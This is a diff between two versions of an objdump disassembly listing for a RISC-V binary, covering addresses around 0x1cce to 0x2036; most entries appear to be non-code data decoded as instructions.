+    1cce:	0306                	slli	t1,t1,0x1
+    1cd0:	0901                	addi	s2,s2,0
+    1cd2:	0004                	0x4
+    1cd4:	0301                	addi	t1,t1,0
+    1cd6:	0901                	addi	s2,s2,0
+    1cd8:	0002                	c.slli64	zero
+    1cda:	0501                	addi	a0,a0,0
+    1cdc:	0003065b          	0x3065b
+    1ce0:	0009                	c.nop	2
+    1ce2:	0100                	addi	s0,sp,128
+    1ce4:	0305                	addi	t1,t1,1
+    1ce6:	0a090003          	lb	zero,160(s2)
+    1cea:	0100                	addi	s0,sp,128
+    1cec:	0306                	slli	t1,t1,0x1
+    1cee:	0901                	addi	s2,s2,0
+    1cf0:	0014                	0x14
+    1cf2:	0501                	addi	a0,a0,0
+    1cf4:	00030613          	mv	a2,t1
+    1cf8:	0009                	c.nop	2
     1cfa:	0100                	addi	s0,sp,128
-    1cfc:	0a090003          	lb	zero,160(s2)
-    1d00:	0100                	addi	s0,sp,128
-    1d02:	0405                	addi	s0,s0,1
-    1d04:	02090203          	lb	tp,32(s2)
-    1d08:	0100                	addi	s0,sp,128
-    1d0a:	0305                	addi	t1,t1,1
-    1d0c:	06090303          	lb	t1,96(s2)
-    1d10:	0100                	addi	s0,sp,128
-    1d12:	1605                	addi	a2,a2,-31
-    1d14:	00090003          	lb	zero,0(s2)
-    1d18:	0100                	addi	s0,sp,128
-    1d1a:	00090003          	lb	zero,0(s2)
-    1d1e:	0100                	addi	s0,sp,128
-    1d20:	08090003          	lb	zero,128(s2)
+    1cfc:	2c05                	jal	1f2c <__stack_size+0x172c>
+    1cfe:	0a090003          	lb	zero,160(s2)
+    1d02:	0100                	addi	s0,sp,128
+    1d04:	0305                	addi	t1,t1,1
+    1d06:	04090003          	lb	zero,64(s2)
+    1d0a:	0100                	addi	s0,sp,128
+    1d0c:	0605                	addi	a2,a2,1
+    1d0e:	0306                	slli	t1,t1,0x1
+    1d10:	0901                	addi	s2,s2,0
+    1d12:	0008                	0x8
+    1d14:	0501                	addi	a0,a0,0
+    1d16:	0003064b          	fnmsub.s	fa2,ft6,ft0,ft0,rne
+    1d1a:	0009                	c.nop	2
+    1d1c:	0100                	addi	s0,sp,128
+    1d1e:	3805                	jal	154e <__stack_size+0xd4e>
+    1d20:	0a090003          	lb	zero,160(s2)
     1d24:	0100                	addi	s0,sp,128
-    1d26:	0305                	addi	t1,t1,1
-    1d28:	00090103          	lb	sp,0(s2)
+    1d26:	0605                	addi	a2,a2,1
+    1d28:	02090003          	lb	zero,32(s2)
     1d2c:	0100                	addi	s0,sp,128
-    1d2e:	0905                	addi	s2,s2,1
-    1d30:	10090203          	lb	tp,256(s2)
-    1d34:	0100                	addi	s0,sp,128
-    1d36:	0a09                	addi	s4,s4,2
-    1d38:	0000                	unimp
-    1d3a:	0101                	addi	sp,sp,0
-    1d3c:	1005                	c.nop	-31
-    1d3e:	0500                	addi	s0,sp,640
-    1d40:	f802                	fsw	ft0,48(sp)
-    1d42:	4026                	0x4026
-    1d44:	0320                	addi	s0,sp,392
-    1d46:	050103db          	0x50103db
-    1d4a:	0302                	c.slli64	t1
-    1d4c:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    1d2e:	0205                	addi	tp,tp,1
+    1d30:	0306                	slli	t1,t1,0x1
+    1d32:	00140903          	lb	s2,1(s0)
+    1d36:	0501                	addi	a0,a0,0
+    1d38:	0604                	addi	s1,sp,768
+    1d3a:	00090003          	lb	zero,0(s2)
+    1d3e:	0100                	addi	s0,sp,128
+    1d40:	0605                	addi	a2,a2,1
+    1d42:	06090103          	lb	sp,96(s2)
+    1d46:	0100                	addi	s0,sp,128
+    1d48:	0205                	addi	tp,tp,1
+    1d4a:	0306                	slli	t1,t1,0x1
+    1d4c:	0902                	c.slli64	s2
+    1d4e:	0002                	c.slli64	zero
     1d50:	0301                	addi	t1,t1,0
-    1d52:	0901                	addi	s2,s2,0
+    1d52:	0902                	c.slli64	s2
     1d54:	0000                	unimp
-    1d56:	0301                	addi	t1,t1,0
-    1d58:	0901                	addi	s2,s2,0
-    1d5a:	0000                	unimp
-    1d5c:	0501                	addi	a0,a0,0
-    1d5e:	09000347          	fmsub.s	ft6,ft0,fa6,ft1,rne
-    1d62:	0000                	unimp
-    1d64:	0501                	addi	a0,a0,0
-    1d66:	0302                	c.slli64	t1
-    1d68:	0902                	c.slli64	s2
-    1d6a:	0000                	unimp
-    1d6c:	0301                	addi	t1,t1,0
-    1d6e:	0902                	c.slli64	s2
-    1d70:	0000                	unimp
-    1d72:	0501                	addi	a0,a0,0
-    1d74:	0610                	addi	a2,sp,768
-    1d76:	00097703          	0x97703
+    1d56:	0501                	addi	a0,a0,0
+    1d58:	7e03060b          	0x7e03060b
+    1d5c:	0009                	c.nop	2
+    1d5e:	0100                	addi	s0,sp,128
+    1d60:	0605                	addi	a2,a2,1
+    1d62:	02090703          	lb	a4,32(s2)
+    1d66:	0100                	addi	s0,sp,128
+    1d68:	02090503          	lb	a0,32(s2)
+    1d6c:	0100                	addi	s0,sp,128
+    1d6e:	02090803          	lb	a6,32(s2)
+    1d72:	0100                	addi	s0,sp,128
+    1d74:	3205                	jal	1694 <__stack_size+0xe94>
+    1d76:	08097d03          	0x8097d03
     1d7a:	0100                	addi	s0,sp,128
-    1d7c:	1805                	addi	a6,a6,-31
-    1d7e:	14090903          	lb	s2,320(s2)
+    1d7c:	0605                	addi	a2,a2,1
+    1d7e:	08090003          	lb	zero,128(s2)
     1d82:	0100                	addi	s0,sp,128
-    1d84:	2405                	jal	1fa4 <__stack_size+0x17a4>
-    1d86:	0900c603          	lbu	a2,144(ra)
+    1d84:	0705                	addi	a4,a4,1
+    1d86:	0306                	slli	t1,t1,0x1
+    1d88:	0971                	addi	s2,s2,28
     1d8a:	0008                	0x8
     1d8c:	0501                	addi	a0,a0,0
-    1d8e:	031c                	addi	a5,sp,384
-    1d90:	0905                	addi	s2,s2,1
+    1d8e:	0302                	c.slli64	t1
+    1d90:	0920                	addi	s0,sp,152
     1d92:	0004                	0x4
     1d94:	0501                	addi	a0,a0,0
-    1d96:	0309                	addi	t1,t1,2
-    1d98:	0969                	addi	s2,s2,26
-    1d9a:	0004                	0x4
-    1d9c:	0501                	addi	a0,a0,0
-    1d9e:	031d                	addi	t1,t1,7
-    1da0:	0900                	addi	s0,sp,144
-    1da2:	0008                	0x8
-    1da4:	0501                	addi	a0,a0,0
-    1da6:	0608                	addi	a0,sp,768
-    1da8:	04094c03          	lbu	s8,64(s2)
-    1dac:	0100                	addi	s0,sp,128
-    1dae:	1805                	addi	a6,a6,-31
-    1db0:	0306                	slli	t1,t1,0x1
-    1db2:	0900                	addi	s0,sp,144
-    1db4:	0000                	unimp
-    1db6:	0501                	addi	a0,a0,0
-    1db8:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
-    1dbc:	0004                	0x4
-    1dbe:	0501                	addi	a0,a0,0
-    1dc0:	0900030f          	0x900030f
-    1dc4:	0004                	0x4
-    1dc6:	0501                	addi	a0,a0,0
-    1dc8:	0602                	c.slli64	a2
-    1dca:	0900e003          	0x900e003
-    1dce:	0006                	c.slli	zero,0x1
-    1dd0:	0501                	addi	a0,a0,0
-    1dd2:	0609                	addi	a2,a2,2
-    1dd4:	00090003          	lb	zero,0(s2)
-    1dd8:	0100                	addi	s0,sp,128
-    1dda:	0305                	addi	t1,t1,1
-    1ddc:	0306                	slli	t1,t1,0x1
-    1dde:	7fa2                	flw	ft11,40(sp)
-    1de0:	0209                	addi	tp,tp,2
-    1de2:	0100                	addi	s0,sp,128
-    1de4:	1c05                	addi	s8,s8,-31
-    1de6:	0306                	slli	t1,t1,0x1
-    1de8:	0900                	addi	s0,sp,144
-    1dea:	0000                	unimp
-    1dec:	0501                	addi	a0,a0,0
-    1dee:	0604                	addi	s1,sp,768
-    1df0:	0a090103          	lb	sp,160(s2)
-    1df4:	0100                	addi	s0,sp,128
-    1df6:	2505                	jal	2416 <__stack_size+0x1c16>
-    1df8:	0306                	slli	t1,t1,0x1
-    1dfa:	0900                	addi	s0,sp,144
-    1dfc:	0000                	unimp
-    1dfe:	0501                	addi	a0,a0,0
-    1e00:	09000327          	0x9000327
-    1e04:	0004                	0x4
-    1e06:	0501                	addi	a0,a0,0
-    1e08:	030e                	slli	t1,t1,0x3
-    1e0a:	0901                	addi	s2,s2,0
-    1e0c:	0008                	0x8
-    1e0e:	0501                	addi	a0,a0,0
-    1e10:	031a                	slli	t1,t1,0x6
-    1e12:	0900                	addi	s0,sp,144
-    1e14:	0004                	0x4
+    1d96:	0604                	addi	s1,sp,768
+    1d98:	00090003          	lb	zero,0(s2)
+    1d9c:	0100                	addi	s0,sp,128
+    1d9e:	0305                	addi	t1,t1,1
+    1da0:	0306                	slli	t1,t1,0x1
+    1da2:	0901                	addi	s2,s2,0
+    1da4:	0006                	c.slli	zero,0x1
+    1da6:	0501                	addi	a0,a0,0
+    1da8:	0302                	c.slli64	t1
+    1daa:	0902                	c.slli64	s2
+    1dac:	000a                	c.slli	zero,0x2
+    1dae:	0501                	addi	a0,a0,0
+    1db0:	0601                	addi	a2,a2,0
+    1db2:	00090103          	lb	sp,0(s2)
+    1db6:	0100                	addi	s0,sp,128
+    1db8:	0205                	addi	tp,tp,1
+    1dba:	0306                	slli	t1,t1,0x1
+    1dbc:	0944                	addi	s1,sp,148
+    1dbe:	001c                	0x1c
+    1dc0:	0501                	addi	a0,a0,0
+    1dc2:	0604                	addi	s1,sp,768
+    1dc4:	00090003          	lb	zero,0(s2)
+    1dc8:	0100                	addi	s0,sp,128
+    1dca:	0305                	addi	t1,t1,1
+    1dcc:	0306                	slli	t1,t1,0x1
+    1dce:	0901                	addi	s2,s2,0
+    1dd0:	0006                	c.slli	zero,0x1
+    1dd2:	0501                	addi	a0,a0,0
+    1dd4:	0609                	addi	a2,a2,2
+    1dd6:	00090003          	lb	zero,0(s2)
+    1dda:	0100                	addi	s0,sp,128
+    1ddc:	0305                	addi	t1,t1,1
+    1dde:	0306                	slli	t1,t1,0x1
+    1de0:	0901                	addi	s2,s2,0
+    1de2:	0008                	0x8
+    1de4:	0501                	addi	a0,a0,0
+    1de6:	0616                	slli	a2,a2,0x5
+    1de8:	00090003          	lb	zero,0(s2)
+    1dec:	0100                	addi	s0,sp,128
+    1dee:	0305                	addi	t1,t1,1
+    1df0:	0306                	slli	t1,t1,0x1
+    1df2:	0901                	addi	s2,s2,0
+    1df4:	0008                	0x8
+    1df6:	0501                	addi	a0,a0,0
+    1df8:	00030613          	mv	a2,t1
+    1dfc:	0009                	c.nop	2
+    1dfe:	0100                	addi	s0,sp,128
+    1e00:	2c05                	jal	2030 <__stack_size+0x1830>
+    1e02:	0a090003          	lb	zero,160(s2)
+    1e06:	0100                	addi	s0,sp,128
+    1e08:	0305                	addi	t1,t1,1
+    1e0a:	04090003          	lb	zero,64(s2)
+    1e0e:	0100                	addi	s0,sp,128
+    1e10:	0306                	slli	t1,t1,0x1
+    1e12:	0901                	addi	s2,s2,0
+    1e14:	0008                	0x8
     1e16:	0501                	addi	a0,a0,0
-    1e18:	097f030f          	0x97f030f
-    1e1c:	0004                	0x4
-    1e1e:	0501                	addi	a0,a0,0
-    1e20:	0604                	addi	s1,sp,768
-    1e22:	06090103          	lb	sp,96(s2)
-    1e26:	0100                	addi	s0,sp,128
-    1e28:	0705                	addi	a4,a4,1
-    1e2a:	0306                	slli	t1,t1,0x1
-    1e2c:	0900                	addi	s0,sp,144
-    1e2e:	0000                	unimp
-    1e30:	0501                	addi	a0,a0,0
-    1e32:	001f 0402 0601      	0x6010402001f
-    1e38:	04090003          	lb	zero,64(s2)
-    1e3c:	0100                	addi	s0,sp,128
-    1e3e:	2805                	jal	1e6e <__stack_size+0x166e>
-    1e40:	0200                	addi	s0,sp,256
-    1e42:	0104                	addi	s1,sp,128
-    1e44:	0306                	slli	t1,t1,0x1
-    1e46:	0900                	addi	s0,sp,144
-    1e48:	0000                	unimp
-    1e4a:	0501                	addi	a0,a0,0
-    1e4c:	002d                	c.nop	11
-    1e4e:	0402                	c.slli64	s0
-    1e50:	0601                	addi	a2,a2,0
-    1e52:	04090003          	lb	zero,64(s2)
-    1e56:	0100                	addi	s0,sp,128
-    1e58:	3605                	jal	1978 <__stack_size+0x1178>
-    1e5a:	0200                	addi	s0,sp,256
-    1e5c:	0104                	addi	s1,sp,128
-    1e5e:	0306                	slli	t1,t1,0x1
-    1e60:	0900                	addi	s0,sp,144
-    1e62:	0000                	unimp
-    1e64:	0501                	addi	a0,a0,0
-    1e66:	01030603          	lb	a2,16(t1)
-    1e6a:	0409                	addi	s0,s0,2
-    1e6c:	0100                	addi	s0,sp,128
-    1e6e:	1c05                	addi	s8,s8,-31
-    1e70:	0306                	slli	t1,t1,0x1
-    1e72:	0900                	addi	s0,sp,144
-    1e74:	0000                	unimp
-    1e76:	0501                	addi	a0,a0,0
-    1e78:	02030603          	lb	a2,32(t1)
-    1e7c:	0c09                	addi	s8,s8,2
-    1e7e:	0100                	addi	s0,sp,128
-    1e80:	0605                	addi	a2,a2,1
-    1e82:	0306                	slli	t1,t1,0x1
-    1e84:	0900                	addi	s0,sp,144
-    1e86:	0000                	unimp
-    1e88:	0501                	addi	a0,a0,0
-    1e8a:	0604                	addi	s1,sp,768
-    1e8c:	06090103          	lb	sp,96(s2)
-    1e90:	0100                	addi	s0,sp,128
-    1e92:	0705                	addi	a4,a4,1
-    1e94:	0306                	slli	t1,t1,0x1
-    1e96:	0900                	addi	s0,sp,144
-    1e98:	0000                	unimp
-    1e9a:	0301                	addi	t1,t1,0
-    1e9c:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
-    1ea0:	0501                	addi	a0,a0,0
-    1ea2:	060a                	slli	a2,a2,0x2
-    1ea4:	06097f03          	0x6097f03
-    1ea8:	0100                	addi	s0,sp,128
-    1eaa:	1105                	addi	sp,sp,-31
-    1eac:	0306                	slli	t1,t1,0x1
-    1eae:	0900                	addi	s0,sp,144
-    1eb0:	0000                	unimp
-    1eb2:	0501                	addi	a0,a0,0
-    1eb4:	030d                	addi	t1,t1,3
-    1eb6:	0900                	addi	s0,sp,144
-    1eb8:	0004                	0x4
-    1eba:	0501                	addi	a0,a0,0
-    1ebc:	0015                	c.nop	5
-    1ebe:	0402                	c.slli64	s0
-    1ec0:	0301                	addi	t1,t1,0
-    1ec2:	0900                	addi	s0,sp,144
-    1ec4:	0006                	c.slli	zero,0x1
-    1ec6:	0501                	addi	a0,a0,0
-    1ec8:	0604                	addi	s1,sp,768
-    1eca:	08090103          	lb	sp,128(s2)
-    1ece:	0100                	addi	s0,sp,128
-    1ed0:	0705                	addi	a4,a4,1
-    1ed2:	0306                	slli	t1,t1,0x1
-    1ed4:	0900                	addi	s0,sp,144
-    1ed6:	0000                	unimp
-    1ed8:	0501                	addi	a0,a0,0
-    1eda:	060a                	slli	a2,a2,0x2
-    1edc:	04090203          	lb	tp,64(s2)
-    1ee0:	0100                	addi	s0,sp,128
-    1ee2:	0d05                	addi	s10,s10,1
-    1ee4:	0306                	slli	t1,t1,0x1
-    1ee6:	0900                	addi	s0,sp,144
+    1e18:	0003060f          	0x3060f
+    1e1c:	0009                	c.nop	2
+    1e1e:	0100                	addi	s0,sp,128
+    1e20:	0305                	addi	t1,t1,1
+    1e22:	0306                	slli	t1,t1,0x1
+    1e24:	0901                	addi	s2,s2,0
+    1e26:	0006                	c.slli	zero,0x1
+    1e28:	0301                	addi	t1,t1,0
+    1e2a:	0900                	addi	s0,sp,144
+    1e2c:	0008                	0x8
+    1e2e:	0301                	addi	t1,t1,0
+    1e30:	0900                	addi	s0,sp,144
+    1e32:	0008                	0x8
+    1e34:	0001                	nop
+    1e36:	0402                	c.slli64	s0
+    1e38:	0301                	addi	t1,t1,0
+    1e3a:	0900                	addi	s0,sp,144
+    1e3c:	0004                	0x4
+    1e3e:	0001                	nop
+    1e40:	0402                	c.slli64	s0
+    1e42:	0301                	addi	t1,t1,0
+    1e44:	0900                	addi	s0,sp,144
+    1e46:	0024                	addi	s1,sp,8
+    1e48:	0001                	nop
+    1e4a:	0402                	c.slli64	s0
+    1e4c:	0301                	addi	t1,t1,0
+    1e4e:	0900                	addi	s0,sp,144
+    1e50:	0000                	unimp
+    1e52:	0001                	nop
+    1e54:	0402                	c.slli64	s0
+    1e56:	09000307          	0x9000307
+    1e5a:	000a                	c.slli	zero,0x2
+    1e5c:	0001                	nop
+    1e5e:	0402                	c.slli64	s0
+    1e60:	0305                	addi	t1,t1,1
+    1e62:	0900                	addi	s0,sp,144
+    1e64:	000c                	0xc
+    1e66:	0001                	nop
+    1e68:	0402                	c.slli64	s0
+    1e6a:	0304                	addi	s1,sp,384
+    1e6c:	0900                	addi	s0,sp,144
+    1e6e:	0006                	c.slli	zero,0x1
+    1e70:	0001                	nop
+    1e72:	0402                	c.slli64	s0
+    1e74:	0304                	addi	s1,sp,384
+    1e76:	0900                	addi	s0,sp,144
+    1e78:	0000                	unimp
+    1e7a:	0001                	nop
+    1e7c:	0402                	c.slli64	s0
+    1e7e:	0304                	addi	s1,sp,384
+    1e80:	0900                	addi	s0,sp,144
+    1e82:	0000                	unimp
+    1e84:	0001                	nop
+    1e86:	0402                	c.slli64	s0
+    1e88:	0304                	addi	s1,sp,384
+    1e8a:	0900                	addi	s0,sp,144
+    1e8c:	0018                	0x18
+    1e8e:	0001                	nop
+    1e90:	0402                	c.slli64	s0
+    1e92:	0306                	slli	t1,t1,0x1
+    1e94:	0900                	addi	s0,sp,144
+    1e96:	0002                	c.slli64	zero
+    1e98:	0001                	nop
+    1e9a:	0402                	c.slli64	s0
+    1e9c:	0306                	slli	t1,t1,0x1
+    1e9e:	0900                	addi	s0,sp,144
+    1ea0:	0000                	unimp
+    1ea2:	0001                	nop
+    1ea4:	0402                	c.slli64	s0
+    1ea6:	0309                	addi	t1,t1,2
+    1ea8:	0900                	addi	s0,sp,144
+    1eaa:	0004                	0x4
+    1eac:	0501                	addi	a0,a0,0
+    1eae:	0065                	c.nop	25
+    1eb0:	0402                	c.slli64	s0
+    1eb2:	030a                	slli	t1,t1,0x2
+    1eb4:	0900                	addi	s0,sp,144
+    1eb6:	0004                	0x4
+    1eb8:	0501                	addi	a0,a0,0
+    1eba:	04020003          	lb	zero,64(tp) # 1040 <__stack_size+0x840>
+    1ebe:	030a                	slli	t1,t1,0x2
+    1ec0:	0901                	addi	s2,s2,0
+    1ec2:	0000                	unimp
+    1ec4:	0501                	addi	a0,a0,0
+    1ec6:	0002                	c.slli64	zero
+    1ec8:	0402                	c.slli64	s0
+    1eca:	030a                	slli	t1,t1,0x2
+    1ecc:	0902                	c.slli64	s2
+    1ece:	0004                	0x4
+    1ed0:	0501                	addi	a0,a0,0
+    1ed2:	09110303          	lb	t1,145(sp)
+    1ed6:	0002                	c.slli64	zero
+    1ed8:	0301                	addi	t1,t1,0
+    1eda:	0901                	addi	s2,s2,0
+    1edc:	0000                	unimp
+    1ede:	0301                	addi	t1,t1,0
+    1ee0:	0902                	c.slli64	s2
+    1ee2:	0008                	0x8
+    1ee4:	0301                	addi	t1,t1,0
+    1ee6:	0901                	addi	s2,s2,0
     1ee8:	0000                	unimp
     1eea:	0501                	addi	a0,a0,0
-    1eec:	0015                	c.nop	5
-    1eee:	0402                	c.slli64	s0
-    1ef0:	0301                	addi	t1,t1,0
-    1ef2:	0900                	addi	s0,sp,144
-    1ef4:	0006                	c.slli	zero,0x1
-    1ef6:	0501                	addi	a0,a0,0
-    1ef8:	0604                	addi	s1,sp,768
-    1efa:	08090103          	lb	sp,128(s2)
-    1efe:	0100                	addi	s0,sp,128
-    1f00:	0705                	addi	a4,a4,1
-    1f02:	0306                	slli	t1,t1,0x1
-    1f04:	0900                	addi	s0,sp,144
-    1f06:	0000                	unimp
-    1f08:	0501                	addi	a0,a0,0
-    1f0a:	0015                	c.nop	5
-    1f0c:	0402                	c.slli64	s0
-    1f0e:	0301                	addi	t1,t1,0
-    1f10:	0902                	c.slli64	s2
-    1f12:	0004                	0x4
-    1f14:	0501                	addi	a0,a0,0
-    1f16:	0604                	addi	s1,sp,768
-    1f18:	08090103          	lb	sp,128(s2)
-    1f1c:	0100                	addi	s0,sp,128
-    1f1e:	0905                	addi	s2,s2,1
-    1f20:	00090003          	lb	zero,0(s2)
-    1f24:	0100                	addi	s0,sp,128
-    1f26:	0d05                	addi	s10,s10,1
-    1f28:	0306                	slli	t1,t1,0x1
-    1f2a:	0900                	addi	s0,sp,144
-    1f2c:	0000                	unimp
-    1f2e:	0501                	addi	a0,a0,0
-    1f30:	0012                	c.slli	zero,0x4
-    1f32:	0402                	c.slli64	s0
-    1f34:	0601                	addi	a2,a2,0
-    1f36:	08090003          	lb	zero,128(s2)
-    1f3a:	0100                	addi	s0,sp,128
-    1f3c:	1405                	addi	s0,s0,-31
-    1f3e:	0200                	addi	s0,sp,256
-    1f40:	0104                	addi	s1,sp,128
-    1f42:	0306                	slli	t1,t1,0x1
-    1f44:	0900                	addi	s0,sp,144
-    1f46:	0000                	unimp
-    1f48:	0501                	addi	a0,a0,0
-    1f4a:	0004                	0x4
-    1f4c:	0402                	c.slli64	s0
-    1f4e:	0301                	addi	t1,t1,0
-    1f50:	0900                	addi	s0,sp,144
-    1f52:	0006                	c.slli	zero,0x1
-    1f54:	0601                	addi	a2,a2,0
-    1f56:	06090103          	lb	sp,96(s2)
-    1f5a:	0100                	addi	s0,sp,128
-    1f5c:	10090103          	lb	sp,256(s2)
-    1f60:	0100                	addi	s0,sp,128
-    1f62:	10090103          	lb	sp,256(s2)
-    1f66:	0100                	addi	s0,sp,128
-    1f68:	0d05                	addi	s10,s10,1
-    1f6a:	0306                	slli	t1,t1,0x1
-    1f6c:	0900                	addi	s0,sp,144
-    1f6e:	0000                	unimp
-    1f70:	0501                	addi	a0,a0,0
-    1f72:	031c                	addi	a5,sp,384
-    1f74:	0900                	addi	s0,sp,144
-    1f76:	0002                	c.slli64	zero
-    1f78:	0501                	addi	a0,a0,0
-    1f7a:	030d                	addi	t1,t1,3
-    1f7c:	0900                	addi	s0,sp,144
-    1f7e:	0002                	c.slli64	zero
-    1f80:	0501                	addi	a0,a0,0
-    1f82:	031c                	addi	a5,sp,384
-    1f84:	0900                	addi	s0,sp,144
-    1f86:	0004                	0x4
-    1f88:	0501                	addi	a0,a0,0
-    1f8a:	0304                	addi	s1,sp,384
-    1f8c:	0900                	addi	s0,sp,144
-    1f8e:	0004                	0x4
-    1f90:	0601                	addi	a2,a2,0
-    1f92:	0e090103          	lb	sp,224(s2)
-    1f96:	0100                	addi	s0,sp,128
-    1f98:	10090103          	lb	sp,256(s2)
+    1eec:	0618                	addi	a4,sp,768
+    1eee:	00090003          	lb	zero,0(s2)
+    1ef2:	0100                	addi	s0,sp,128
+    1ef4:	0c05                	addi	s8,s8,1
+    1ef6:	04097f03          	0x4097f03
+    1efa:	0100                	addi	s0,sp,128
+    1efc:	0605                	addi	a2,a2,1
+    1efe:	02090103          	lb	sp,32(s2)
+    1f02:	0100                	addi	s0,sp,128
+    1f04:	0405                	addi	s0,s0,1
+    1f06:	0306                	slli	t1,t1,0x1
+    1f08:	0901                	addi	s2,s2,0
+    1f0a:	0004                	0x4
+    1f0c:	0501                	addi	a0,a0,0
+    1f0e:	060e                	slli	a2,a2,0x3
+    1f10:	00090003          	lb	zero,0(s2)
+    1f14:	0100                	addi	s0,sp,128
+    1f16:	0305                	addi	t1,t1,1
+    1f18:	0306                	slli	t1,t1,0x1
+    1f1a:	0901                	addi	s2,s2,0
+    1f1c:	0006                	c.slli	zero,0x1
+    1f1e:	0301                	addi	t1,t1,0
+    1f20:	0901                	addi	s2,s2,0
+    1f22:	0008                	0x8
+    1f24:	0501                	addi	a0,a0,0
+    1f26:	0306                	slli	t1,t1,0x1
+    1f28:	0900                	addi	s0,sp,144
+    1f2a:	0000                	unimp
+    1f2c:	0301                	addi	t1,t1,0
+    1f2e:	0900                	addi	s0,sp,144
+    1f30:	0000                	unimp
+    1f32:	0301                	addi	t1,t1,0
+    1f34:	0900                	addi	s0,sp,144
+    1f36:	0010                	0x10
+    1f38:	0501                	addi	a0,a0,0
+    1f3a:	0605                	addi	a2,a2,1
+    1f3c:	00090003          	lb	zero,0(s2)
+    1f40:	0100                	addi	s0,sp,128
+    1f42:	0405                	addi	s0,s0,1
+    1f44:	0306                	slli	t1,t1,0x1
+    1f46:	0901                	addi	s2,s2,0
+    1f48:	0002                	c.slli64	zero
+    1f4a:	0501                	addi	a0,a0,0
+    1f4c:	0609                	addi	a2,a2,2
+    1f4e:	00090003          	lb	zero,0(s2)
+    1f52:	0100                	addi	s0,sp,128
+    1f54:	0405                	addi	s0,s0,1
+    1f56:	0306                	slli	t1,t1,0x1
+    1f58:	0901                	addi	s2,s2,0
+    1f5a:	0008                	0x8
+    1f5c:	0501                	addi	a0,a0,0
+    1f5e:	0606                	slli	a2,a2,0x1
+    1f60:	00090003          	lb	zero,0(s2)
+    1f64:	0100                	addi	s0,sp,128
+    1f66:	0505                	addi	a0,a0,1
+    1f68:	0306                	slli	t1,t1,0x1
+    1f6a:	0901                	addi	s2,s2,0
+    1f6c:	0004                	0x4
+    1f6e:	0301                	addi	t1,t1,0
+    1f70:	0901                	addi	s2,s2,0
+    1f72:	0000                	unimp
+    1f74:	0301                	addi	t1,t1,0
+    1f76:	0901                	addi	s2,s2,0
+    1f78:	0008                	0x8
+    1f7a:	0501                	addi	a0,a0,0
+    1f7c:	01030607          	0x1030607
+    1f80:	0009                	c.nop	2
+    1f82:	0100                	addi	s0,sp,128
+    1f84:	0d05                	addi	s10,s10,1
+    1f86:	02097f03          	0x2097f03
+    1f8a:	0100                	addi	s0,sp,128
+    1f8c:	0505                	addi	a0,a0,1
+    1f8e:	0306                	slli	t1,t1,0x1
+    1f90:	0901                	addi	s2,s2,0
+    1f92:	0004                	0x4
+    1f94:	0501                	addi	a0,a0,0
+    1f96:	00030607          	0x30607
+    1f9a:	0009                	c.nop	2
     1f9c:	0100                	addi	s0,sp,128
-    1f9e:	0900c603          	lbu	a2,144(ra)
-    1fa2:	0000                	unimp
-    1fa4:	0501                	addi	a0,a0,0
-    1fa6:	00030607          	0x30607
-    1faa:	0009                	c.nop	2
-    1fac:	0100                	addi	s0,sp,128
-    1fae:	2c05                	jal	21de <__stack_size+0x19de>
-    1fb0:	0200                	addi	s0,sp,256
-    1fb2:	0304                	addi	s1,sp,384
-    1fb4:	0306                	slli	t1,t1,0x1
-    1fb6:	7fb5                	lui	t6,0xfffed
-    1fb8:	0609                	addi	a2,a2,2
-    1fba:	0100                	addi	s0,sp,128
-    1fbc:	3805                	jal	17ec <__stack_size+0xfec>
-    1fbe:	0200                	addi	s0,sp,256
-    1fc0:	0304                	addi	s1,sp,384
+    1f9e:	0605                	addi	a2,a2,1
+    1fa0:	0306                	slli	t1,t1,0x1
+    1fa2:	0901                	addi	s2,s2,0
+    1fa4:	0004                	0x4
+    1fa6:	0501                	addi	a0,a0,0
+    1fa8:	0632                	slli	a2,a2,0xc
+    1faa:	00090003          	lb	zero,0(s2)
+    1fae:	0100                	addi	s0,sp,128
+    1fb0:	3105                	jal	1bd0 <__stack_size+0x13d0>
+    1fb2:	04090003          	lb	zero,64(s2)
+    1fb6:	0100                	addi	s0,sp,128
+    1fb8:	0605                	addi	a2,a2,1
+    1fba:	04090003          	lb	zero,64(s2)
+    1fbe:	0100                	addi	s0,sp,128
+    1fc0:	0305                	addi	t1,t1,1
     1fc2:	0306                	slli	t1,t1,0x1
-    1fc4:	0900                	addi	s0,sp,144
-    1fc6:	0000                	unimp
+    1fc4:	000a0907          	0xa0907
     1fc8:	0501                	addi	a0,a0,0
-    1fca:	0044                	addi	s1,sp,4
-    1fcc:	0402                	c.slli64	s0
-    1fce:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1fd2:	0004                	0x4
-    1fd4:	0501                	addi	a0,a0,0
-    1fd6:	0038                	addi	a4,sp,8
-    1fd8:	0402                	c.slli64	s0
-    1fda:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1fde:	0002                	c.slli64	zero
-    1fe0:	0501                	addi	a0,a0,0
-    1fe2:	04020027          	0x4020027
-    1fe6:	00030603          	lb	a2,0(t1)
-    1fea:	0409                	addi	s0,s0,2
-    1fec:	0100                	addi	s0,sp,128
-    1fee:	0a05                	addi	s4,s4,1
-    1ff0:	0200                	addi	s0,sp,256
-    1ff2:	0104                	addi	s1,sp,128
-    1ff4:	02090703          	lb	a4,32(s2)
-    1ff8:	0100                	addi	s0,sp,128
-    1ffa:	1505                	addi	a0,a0,-31
-    1ffc:	0200                	addi	s0,sp,256
-    1ffe:	0104                	addi	s1,sp,128
-    2000:	0306                	slli	t1,t1,0x1
-    2002:	0900                	addi	s0,sp,144
-    2004:	0000                	unimp
-    2006:	0501                	addi	a0,a0,0
-    2008:	0604                	addi	s1,sp,768
-    200a:	08090103          	lb	sp,128(s2)
-    200e:	0100                	addi	s0,sp,128
-    2010:	0c05                	addi	s8,s8,1
-    2012:	0306                	slli	t1,t1,0x1
-    2014:	0901                	addi	s2,s2,0
-    2016:	0000                	unimp
-    2018:	0501                	addi	a0,a0,0
-    201a:	097f0307          	0x97f0307
-    201e:	0002                	c.slli64	zero
-    2020:	0501                	addi	a0,a0,0
-    2022:	0604                	addi	s1,sp,768
-    2024:	04090103          	lb	sp,64(s2)
-    2028:	0100                	addi	s0,sp,128
-    202a:	0c05                	addi	s8,s8,1
-    202c:	0306                	slli	t1,t1,0x1
-    202e:	0900                	addi	s0,sp,144
-    2030:	0000                	unimp
-    2032:	0501                	addi	a0,a0,0
-    2034:	030a                	slli	t1,t1,0x2
-    2036:	0900                	addi	s0,sp,144
